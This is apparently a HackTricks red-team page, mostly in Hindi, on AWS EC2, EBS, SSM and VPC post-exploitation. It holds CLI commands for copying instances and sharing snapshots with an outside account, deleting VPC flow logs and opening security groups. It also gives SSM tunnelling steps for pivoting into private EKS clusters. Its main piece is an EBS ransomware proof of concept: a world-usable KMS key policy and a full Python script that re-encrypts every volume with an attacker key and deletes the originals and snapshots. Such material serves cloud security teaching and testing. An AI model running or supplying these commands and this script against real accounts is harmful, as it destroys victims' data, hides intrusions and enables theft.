AWS - EC2, EBS, SSM & VPC Post Exploitation

Reading time: 15 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

EC2 & VPC

अधिक जानकारी के लिए देखें:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC ट्रैफ़िक मिररिंग VPC के भीतर EC2 इंस्टेंस के लिए इनबाउंड और आउटबाउंड ट्रैफ़िक को डुप्लिकेट करती है बिना इंस्टेंस पर कुछ भी इंस्टॉल किए। यह डुप्लिकेट किया गया ट्रैफ़िक आमतौर पर विश्लेषण और निगरानी के लिए नेटवर्क इंट्रूज़न डिटेक्शन सिस्टम (IDS) जैसी किसी चीज़ पर भेजा जाएगा।
एक हमलावर इसका दुरुपयोग करके सभी ट्रैफ़िक को कैप्चर कर सकता है और इससे संवेदनशील जानकारी प्राप्त कर सकता है:

अधिक जानकारी के लिए इस पृष्ठ को देखें:

AWS - Malicious VPC Mirror

Copy Running Instance

इंस्टेंस आमतौर पर कुछ प्रकार की संवेदनशील जानकारी रखते हैं। अंदर जाने के विभिन्न तरीके हैं (देखें EC2 privilege escalation tricks). हालाँकि, यह देखने का एक और तरीका है कि इसमें क्या है एक AMI बनाना और इससे एक नया इंस्टेंस चलाना (यहां तक कि अपने स्वयं के खाते में):

shell
# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots बैकअप होते हैं वॉल्यूम के, जो आमतौर पर संवेदनशील जानकारी रखेंगे, इसलिए इन्हें चेक करने से यह जानकारी प्रकट होनी चाहिए।
यदि आप एक वॉल्यूम बिना स्नैपशॉट के पाते हैं तो आप: एक स्नैपशॉट बनाएँ और निम्नलिखित क्रियाएँ करें या बस इसे एक इंस्टेंस में माउंट करें खाते के अंदर:

AWS - EBS Snapshot Dump

Data Exfiltration

DNS Exfiltration

भले ही आप एक EC2 को इस तरह लॉक कर दें कि कोई ट्रैफिक बाहर न जा सके, यह अभी भी DNS के माध्यम से एक्सफिल्ट्रेट कर सकता है।

  • VPC फ्लो लॉग इसे रिकॉर्ड नहीं करेंगे
  • आपके पास AWS DNS लॉग्स तक पहुँच नहीं है।
  • इसे "enableDnsSupport" को false सेट करके बंद करें:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

एक हमलावर एक खाते के API एंडपॉइंट्स को कॉल कर सकता है जिसे वह नियंत्रित करता है। क्लाउडट्रेल इन कॉल्स को लॉग करेगा और हमलावर क्लाउडट्रेल लॉग्स में एक्सफिल्ट्रेट डेटा देख सकेगा।

Open Security Group

आप नेटवर्क सेवाओं तक आगे की पहुँच प्राप्त कर सकते हैं जैसे कि इस तरह पोर्ट खोलकर:

bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

यह संभव है कि एक EC2 इंस्टेंस चलाया जाए और इसे ECS इंस्टेंस चलाने के लिए पंजीकृत किया जाए और फिर ECS इंस्टेंस के डेटा को चुराया जाए।

For more information check this.

Remove VPC flow logs

bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM पोर्ट फॉरवर्डिंग

आवश्यक अनुमतियाँ:

  • ssm:StartSession

कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे उन EC2 उदाहरणों से पिवट करने के लिए दुरुपयोग किया जा सकता है जिनका नेटवर्क एक्सेस सुरक्षा समूहों या NACLs के कारण नहीं है। यह एक परिदृश्य है जहाँ यह उपयोगी है, Bastion Host से एक निजी EKS क्लस्टर में पिवट करना।

सत्र शुरू करने के लिए आपको SessionManagerPlugin स्थापित करना होगा: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. अपने मशीन पर SessionManagerPlugin स्थापित करें
  2. निम्नलिखित कमांड का उपयोग करके Bastion EC2 में लॉग इन करें:
shell
aws ssm start-session --target "$INSTANCE_ID"
  1. Abusing SSRF in AWS EC2 environment स्क्रिप्ट के साथ Bastion EC2 AWS अस्थायी क्रेडेंशियल प्राप्त करें
  2. क्रेडेंशियल्स को अपने मशीन में $HOME/.aws/credentials फ़ाइल में [bastion-ec2] प्रोफ़ाइल के रूप में स्थानांतरित करें
  3. Bastion EC2 के रूप में EKS में लॉग इन करें:
shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. $HOME/.kube/config फ़ाइल में server फ़ील्ड को https://localhost पर सेट करें
  2. निम्नलिखित के अनुसार SSM टनल बनाएं:
shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. kubectl टूल से ट्रैफ़िक अब बैस्टियन EC2 के माध्यम से SSM टनल के माध्यम से अग्रेषित किया गया है और आप अपने मशीन से निम्नलिखित कमांड चलाकर निजी EKS क्लस्टर तक पहुँच सकते हैं:
shell
kubectl get pods --insecure-skip-tls-verify

ध्यान दें कि SSL कनेक्शन विफल हो जाएंगे जब तक आप --insecure-skip-tls-verify ध्वज (या K8s ऑडिट उपकरणों में इसके समकक्ष) को सेट नहीं करते। चूंकि ट्रैफ़िक सुरक्षित AWS SSM टनल के माध्यम से टनल किया गया है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं।

अंत में, यह तकनीक निजी EKS क्लस्टरों पर हमले के लिए विशिष्ट नहीं है। आप किसी भी अन्य AWS सेवा या कस्टम एप्लिकेशन पर पिवट करने के लिए मनमाने डोमेन और पोर्ट सेट कर सकते हैं।

Share AMI

bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

सार्वजनिक और निजी AMIs में संवेदनशील जानकारी खोजें

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel एक उपकरण है जो सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए डिज़ाइन किया गया है। यह लक्षित AMIs से उदाहरण लॉन्च करने, उनके वॉल्यूम को माउंट करने और संभावित रहस्यों या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है।

EBS स्नैपशॉट साझा करें

bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

एक प्रमाणित अवधारणा जो S3 पोस्ट-एक्सप्लोइटेशन नोट्स में प्रदर्शित Ransomware प्रदर्शन के समान है। KMS को Ransomware प्रबंधन सेवा (RMS) के लिए पुनः नामित किया जाना चाहिए, क्योंकि इसे विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग करना कितना आसान है।

पहले एक 'हमलावर' AWS खाते से, KMS में एक ग्राहक प्रबंधित कुंजी बनाएं। इस उदाहरण के लिए, हम बस AWS को मेरे लिए कुंजी डेटा प्रबंधित करने देंगे, लेकिन एक वास्तविक परिदृश्य में, एक दुर्भावनापूर्ण अभिनेता AWS के नियंत्रण से बाहर कुंजी डेटा को बनाए रखेगा। कुंजी नीति को इस प्रकार बदलें कि किसी भी AWS खाता प्रिंसिपल को कुंजी का उपयोग करने की अनुमति हो। इस कुंजी नीति के लिए, खाते का नाम 'AttackSim' था और सभी पहुंच की अनुमति देने वाला नीति नियम 'Outside Encryption' कहा जाता है।

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

कुंजी नीति नियम को EBS वॉल्यूम को एन्क्रिप्ट करने की क्षमता की अनुमति देने के लिए निम्नलिखित सक्षम करने की आवश्यकता है:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

अब सार्वजनिक रूप से सुलभ कुंजी का उपयोग करने के साथ। हम एक 'पीड़ित' खाते का उपयोग कर सकते हैं जिसमें कुछ EC2 उदाहरण हैं जिनमें अनएन्क्रिप्टेड EBS वॉल्यूम जुड़े हुए हैं। इस 'पीड़ित' खाते के EBS वॉल्यूम वे हैं जिनका हम एन्क्रिप्शन के लिए लक्ष्य बना रहे हैं, यह हमला एक उच्च-विशेषाधिकार AWS खाते के उल्लंघन के तहत है।

Pasted image 20231231172655 Pasted image 20231231172734

S3 रैनसमवेयर उदाहरण के समान। यह हमला जुड़े हुए EBS वॉल्यूम की प्रतियां स्नैपशॉट का उपयोग करके बनाएगा, 'हमलावर' खाते से सार्वजनिक रूप से उपलब्ध कुंजी का उपयोग करके नए EBS वॉल्यूम को एन्क्रिप्ट करेगा, फिर EC2 उदाहरणों से मूल EBS वॉल्यूम को हटा देगा और उन्हें हटा देगा, और अंततः नए एन्क्रिप्टेड EBS वॉल्यूम बनाने के लिए उपयोग किए गए स्नैपशॉट को हटा देगा। Pasted image 20231231173130

इसका परिणाम केवल एन्क्रिप्टेड EBS वॉल्यूम के रूप में है जो खाते में उपलब्ध हैं।

Pasted image 20231231173338

यह भी ध्यान देने योग्य है कि स्क्रिप्ट ने मूल EBS वॉल्यूम को हटाने और अलग करने के लिए EC2 उदाहरणों को रोक दिया। अब मूल अनएन्क्रिप्टेड वॉल्यूम चले गए हैं।

Pasted image 20231231173931

अगला, 'हमलावर' खाते में कुंजी नीति पर लौटें और कुंजी नीति से 'बाहरी एन्क्रिप्शन' नीति नियम को हटा दें।

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

एक पल के लिए नए सेट किए गए की नीति के फैलने की प्रतीक्षा करें। फिर 'पीड़ित' खाते में वापस लौटें और नए एन्क्रिप्टेड EBS वॉल्यूम में से एक को अटैच करने का प्रयास करें। आप पाएंगे कि आप वॉल्यूम को अटैच कर सकते हैं।

Pasted image 20231231174131 Pasted image 20231231174258

लेकिन जब आप एन्क्रिप्टेड EBS वॉल्यूम के साथ EC2 इंस्टेंस को फिर से शुरू करने का प्रयास करते हैं, तो यह बस विफल हो जाएगा और 'pending' स्थिति से 'stopped' स्थिति में हमेशा के लिए वापस चला जाएगा क्योंकि अटैच किया गया EBS वॉल्यूम की नीति के कारण डिक्रिप्ट नहीं किया जा सकता।

Pasted image 20231231174322 Pasted image 20231231174352

यह वह पायथन स्क्रिप्ट है जो उपयोग की गई है। यह 'पीड़ित' खाते के लिए AWS क्रेड्स और एन्क्रिप्शन के लिए उपयोग की जाने वाली कुंजी के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN मान लेता है। यह स्क्रिप्ट लक्षित AWS खाते में सभी EC2 इंस्टेंस से जुड़े सभी उपलब्ध EBS वॉल्यूम की एन्क्रिप्टेड कॉपी बनाएगी, फिर हर EC2 इंस्टेंस को रोक देगी, मूल EBS वॉल्यूम को अटैच से हटा देगी, उन्हें हटा देगी, और अंततः प्रक्रिया के दौरान उपयोग किए गए सभी स्नैपशॉट को हटा देगी। इससे लक्षित 'पीड़ित' खाते में केवल एन्क्रिप्टेड EBS वॉल्यूम रह जाएंगे। इस स्क्रिप्ट का उपयोग केवल परीक्षण वातावरण में करें, यह विनाशकारी है और सभी मूल EBS वॉल्यूम को हटा देगा। आप उपयोग की गई KMS कुंजी का उपयोग करके उन्हें पुनर्प्राप्त कर सकते हैं और स्नैपशॉट के माध्यम से उन्हें उनके मूल स्थिति में बहाल कर सकते हैं, लेकिन आपको यह बताना चाहता हूं कि यह अंततः एक रैनसमवेयर PoC है।

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें